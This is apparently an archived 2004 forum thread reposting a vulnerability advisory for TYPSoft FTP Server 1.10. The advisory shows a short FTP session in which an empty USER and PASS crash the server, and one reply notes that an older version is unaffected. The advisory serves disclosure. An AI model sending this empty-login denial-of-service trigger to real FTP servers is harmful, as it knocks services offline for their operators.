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Bekijk Volledige Versie : TYPSoft FTP Server 1.10 may be crashed



intuit bug_hunter
04/02/04, 23:15
Application: TYPSoft FTP Server
http://www.typsoft.com

Version: 1.10

Bug: Denial Of Service

Author: intuit
e-mail: intuit@linuxmail.org
web/forum: http://code.unixserver.at

************************************************** *********************

1. Description
2. The bug
3. The code
4. The fix

************************************************** *********************

^^^^^^^^^^^^^^^^
1. Description:
^^^^^^^^^^^^^^^^

Vendor's Description:

"TYPSoft FTP Server is a fast and easy ftp server with support to
Standard FTP Command, Clean interface, Virtual File System
architecture, ability to resume Download and Upload, IP Restriction,
Login/Quit message, logs, Multi Language and many other things."

************************************************** *********************

^^^^^^^^^^^^^^^^
2. The bug:
^^^^^^^^^^^^^^^^

TYPSoft FTP Server may be crashed with empty USERNAME.

************************************************** *********************

^^^^^^^^^^^^^^^^
3. The code:
^^^^^^^^^^^^^^^^

To test the vulnerability simply send to the ftp server a empty user name like:

-----------------------------------------------------------------------
220 TYPSoft FTP Server 1.10 ready...
USER
331 Password required for .
PASS
501 Access violation at address 77F526AB in module 'ntdll.dll'.
Write of address 00404C4D
-----------------------------------------------------------------------

and the ftp server may be crashed.

Probably 100% employment of computer resources.

/*Tested on: Win XP Build 2600, Service Pack: None*/

************************************************** *********************

^^^^^^^^^^^^^^^^
4. The fix:
^^^^^^^^^^^^^^^^

Not exist.

************************************************** *********************

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Maxim Polyakov
06/02/04, 07:25
The "TYPSoft FTP Server 0.99.6" has not this bug.

ib> Application: TYPSoft FTP Server
ib> http://www.typsoft.com
ib> Version: 1.10
ib> Bug: Denial Of Service

ib> TYPSoft FTP Server may be crashed with empty USERNAME.
ib> -----------------------------------------------------------------------
ib> 220 TYPSoft FTP Server 1.10 ready...
ib> USER
ib> 331 Password required for .
ib> PASS
ib> 501 Access violation at address 77F526AB in module 'ntdll.dll'.
ib> Write of address 00404C4D
ib> -----------------------------------------------------------------------
ib> and the ftp server may be crashed.